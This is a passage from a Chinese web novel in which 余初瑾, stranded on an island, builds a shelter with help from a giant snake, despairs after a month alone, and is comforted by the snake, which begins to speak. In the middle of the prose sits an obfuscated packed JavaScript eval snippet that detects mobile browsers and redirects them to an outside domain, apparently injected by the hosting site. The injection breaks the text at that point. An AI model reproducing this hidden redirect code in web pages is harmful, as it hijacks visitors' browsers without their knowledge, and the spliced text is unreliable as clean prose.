余初瑾……大蛇试探引起人的关注。 天天都在求关注。 她进入树林捡木柴,大蛇亦步亦趋跟着,捡到一根大木柴,兴奋地拖到两脚兽面前,求表扬。 余初瑾竖起大拇指:“你真棒,真厉害。” 大蛇非常满足,转个身又去找大木柴了,干劲十足,非常乐意干这个苦力活。 余初瑾也是个不客气的主,大蛇乐意干活,余初瑾就干脆往那一坐,指挥它干,她自己休息。 苦力蛇就此诞生。 大蛇干得格外起劲,余初瑾坐在一边打起哈欠来。 忽然,大尾巴怼到面前来,卷了一撮鲜花。 大蛇羞涩眨眼,把鲜花塞余初瑾怀里,然后转身飞快溜走。 余初瑾:“……” 看着手中的花,余初瑾面露困惑,这条蛇最近怎么总是送自己花? 24. 坏蛇 024坏蛇 有大蛇帮忙收集柴火,可比余初瑾苦哈哈收集来的快的多。 不过半天功夫,大蛇就帮忙收集了一大堆的柴,烧个三四天完全没有问题。 余初瑾虽然没有制作出火折子来,但也研究出了一个实用的办法。 不需要整天都有明火,将未燃尽的炭火埋在灰烬里保存,有需要时再扒开灰烬,放上易燃的火绒吹一吹便会重新燃起来。 这种方法很大程度上节省了木柴的使用,余初瑾从一个户外生存的白痴,慢慢也总结出了一套适合她的实用办法。 柴火足够后,余初瑾把扩建庇护所的任务提上了行程。 砍伐木材很轻松,大蛇爪子的锋利程度堪比电锯,一划拉就是一根树,一划拉又是一根树,锋利的过于夸张。 余初瑾强制征用它的爪子砍树,其实也说不上强制征用,它蛮乐意。 只要夸它,它干什么都很乐意。 余初瑾化身无情的资本家,疯狂奴役大蛇,工资则只有一句简单的夸奖。 偏偏大蛇还不觉得被奴役了,每天高高兴兴,陪着余初瑾各种折腾。 不管余初瑾想干什么,大蛇都陪伴在侧,除了外出打猎的时间,它几乎从来不离开余初瑾的视线范围内。 半天不到,搭建庇护所的木材已经砍伐完毕,一大堆木材堆在旁边,就等着搭建了。 余初瑾就没打算改变庇护所的结构,外观依旧是三角棚子。 三角形的结构最稳定,用最基础的则是最好的,没必要整的太花里胡哨,不实用。 这次扩建主要目的就是扩大空间,不至于坐起来就碰到头。 搭建的过程很顺利,期间余初瑾去海边收集了不少垃圾编织袋,用于搭建屋顶,滑翔伞剩余的绳子很多,足够她使用。 历时三天,庇护所完成! 望着搭建完成的庇护所,余初瑾叉腰,成就感满满。 她兴奋地围着庇护所转圈,大蛇也兴奋地围着庇护所转圈。 一人一蛇,嘻嘻哈哈,跑跑跳跳,热闹不已。 余初瑾钻进去,躺下,在里面滚来滚去。 大蛇进不去里面,但也学着余初瑾的动作,在外面滚来滚去。 滚得尘土飞扬。 余初瑾被呛地直咳嗽,一会挥手一边制止:“别滚了,你看你弄的,到处都是灰,还滚?还滚是坏蛇!” 大蛇停住动作,脑袋上身子上沾了不少泥沙,脏兮兮的它咧个大白牙,眨巴眨巴眼,憨憨萌萌。 余初瑾无语叹气。 “本来是想在庇护所里留一点空间给你的,毕竟你也帮着干活了,给你留个房间也合乎情理,” “但问题就在于,你体型太大,我可搭不出这么大的房子,所以,不是我不管你,而是真的能力有限,明不明白。” 大蛇当然不明白,它只会凑过来求摸摸,大脑袋怼她身上来。 这段时间,余初瑾不停的给自己安排活,活的也算是充实,忙忙碌碌,不得空闲,哪怕是空闲了一会,也会拉着大蛇聊天。 可等到庇护所扩建完毕,她躺在里面,心底又莫名涌上一阵空虚感。 任务大多都落尾,成就感褪去,反倒有点无所事事了。 接下来该干什么呢? 想起来了,还差最后一个任务,去树林里寻找水源。 这段时间中途又下了几次雨,她再次收集了不少雨水,过滤装备也算是完善,故而她用水方面没有什么紧张感 不光没有紧张感,还有椰子当备用水源,这个事一点都不要紧,她差点都给忘了。 趁着现在才中午,时间还早,要不然收拾收拾,去树林里找找? 余初瑾是个想到哪做到哪的人,说去就去。 出发去树林前,余初瑾想起个事。 每过一天,就会在树干上划上一笔,用于记录时间,今天忘记记录了。 她时常会忘,所以树干上记录的天数并不准确,她经常会少记,漏记。 可哪怕是少记漏记很多次,树干上的正字竟也一长串了。 余初瑾数了一下,一共6个正字,代表了整整一个月。 余初瑾一阵恍惚。 她居然被困荒岛一个月了,严格意义上来说,应该不止一个月,还得加上她漏记的那一部分。 时间过得真快。 余初瑾原本还兴致勃勃的想去树林里寻找水源,可等到她数完正字,等到她意识到自己被困一个月了后,突然什么心力都没有了,一瞬间就垮了下来。 突然觉得好累,什么都不想干了。 30天……意味着救援队可能早就放弃救援她了。 滑翔伞出现事故失踪,大概率会被判定为死亡,一个大概率死亡的人,谁还会费精力不停的找。 不会的,没有人会为了找她,坚持30天之久。 “我小时候赌气离家出走,躲在楼梯间一天,全程都没有一个人找我,现在又凭什么觉得我失踪了会有人找,” “我的存在一直都可有可无,没有人会为了我活着而开心,也没有人会为了我死了而难过……” 余初瑾靠坐在树干上,情绪低迷。 大蛇歪头观察她,察觉到了她的情绪,大脑袋疯狂蹭她的脸。 余初瑾没有推开它,但也没有回应,表情麻木。 “其实根本就没有人等我回去,我从小就一个人,爹不疼妈不爱,我自己脾气也不好,还天天沉迷各种极限运动,这下好了,玩脱了,没救了,我活在这个地方和死了有什么区别……” 自言自语,自怨自艾,说着说着竟还开始扯自己的头发。 情绪从颓丧逐渐过渡到暴躁。 大蛇望着不停扯头发的两脚兽,眼中满是担忧,嘴里发出急躁的“嘶嘶”声。 余初瑾置若罔闻,陷入在情绪泥潭里。 手臂突然传来湿滑的触感,余初瑾动作一顿,是大蛇咬住了她的手。 含咬得很轻,目的不是咬而是阻止她的动作。 大蛇眼神哀戚地看着她,仿佛比她还难过,蛇性子舔了舔她,安抚她。 余初瑾沉默着,不再扯头发,也头一次没有嫌弃大蛇舔人。 她一把抱住大蛇,把脸埋在它身上,软软滑滑的触感,像是将脸埋在了丝绸上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672799|172738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 触感其实很舒服,尤其是在这大夏天,凉快的很。 “还好有你。”余初瑾抱着大蛇,把眼泪摸它身上。 这是余初瑾第二次发出这样的感慨了,上一次,是因为大蛇外出打猎迟迟不归,她情绪有些失控。 而这次,是看着树干上的那些正字,突然…… 可能是一个人待在孤岛上太久了,哪怕每天刻意让自己很充实,不让自己停下来,但人终究是群居动物,一个人待久了,总归是会憋出问题。 也许以后还会出现这种情况,突然情绪崩溃,突然发疯。 余初瑾:“你每次都会陪着我吗?在我发疯的时候。” 大蛇舔舔她的脸颊:“嘶嘶。” 不知道为什么,余初瑾很确定,大蛇刚刚的嘶嘶是在说:“是的,我会一直陪着你。” 余初瑾一直都知道,大蛇对人类的感情很纯粹,纯粹到余初瑾有时候都不理解,它为什么会喜欢和一个非它族类的两脚兽一起玩。 气氛本来还挺温馨,她难过它安慰,但余初瑾脑子不太正常。 突然……想尝尝大蛇是什么口感。 然后,张嘴,咬了它一口。 大蛇瞪大眼睛。 余初瑾讪讪松嘴:“口感挺一般。” 大蛇依旧瞪着溜圆的眼睛。 “哎呀,不就是咬了你一口,我又没多用力,总不至于能咬疼你,我家大黄我也经常咬它啊,行了,不要小气吧啦的。” 大蛇看了看被咬的地方,又看了看余初瑾,两个地方来回地看、不停地看。 脑袋转来转去,蛇眼睛也格外忙碌。 余初瑾被看的不自在,把手伸过去:“你不满意的话,你也咬我一口好了。” 大蛇俯身过来。 “不是吧,你真咬啊。”余初瑾连忙缩回手。 她可不敢让大蛇咬,余初瑾咬它是过家家,无伤大雅,它咬余初瑾,就它那锋利无比的牙齿,余初瑾的手可就别想要了。 但值得庆幸的是,大蛇并没有要咬回来的意思。 可不值得庆幸的是,大蛇又把它的尾巴缠到腰间来了。 缠到腰间的同时,尾巴尖拍她,并伴随着暧昧的“嘶嘶”声。 余初瑾很不喜欢它这样,缠的人不舒服就算了,还很疼。 “又缠又缠,我看你是又想挨揍了!” 话落,捶了两下它的尾巴。 大蛇表情一怔,“嗖”一下缩回尾巴,抱着尾巴,哭唧唧。 余初瑾不为所动,骂它:“我有没有说过不喜欢你拿尾巴缠我,讲不听是吧,你这条坏蛇。” 大蛇抱着尾巴,喉咙里发出“呜呜呜”的声音。 余初瑾:“……” 余初瑾不管它,它再可怜也不哄,必须要严肃教育一下,省得它总拿尾巴缠人,得让它意识到这是一个很不对的行为。 余初瑾背过身去,不看它。 “坏……蛇。” 身后传来含糊且磕巴的声音。 余初瑾表情一滞,猛地回过头去,诧异又不确定地看着大蛇。 “刚刚是在你在说话??”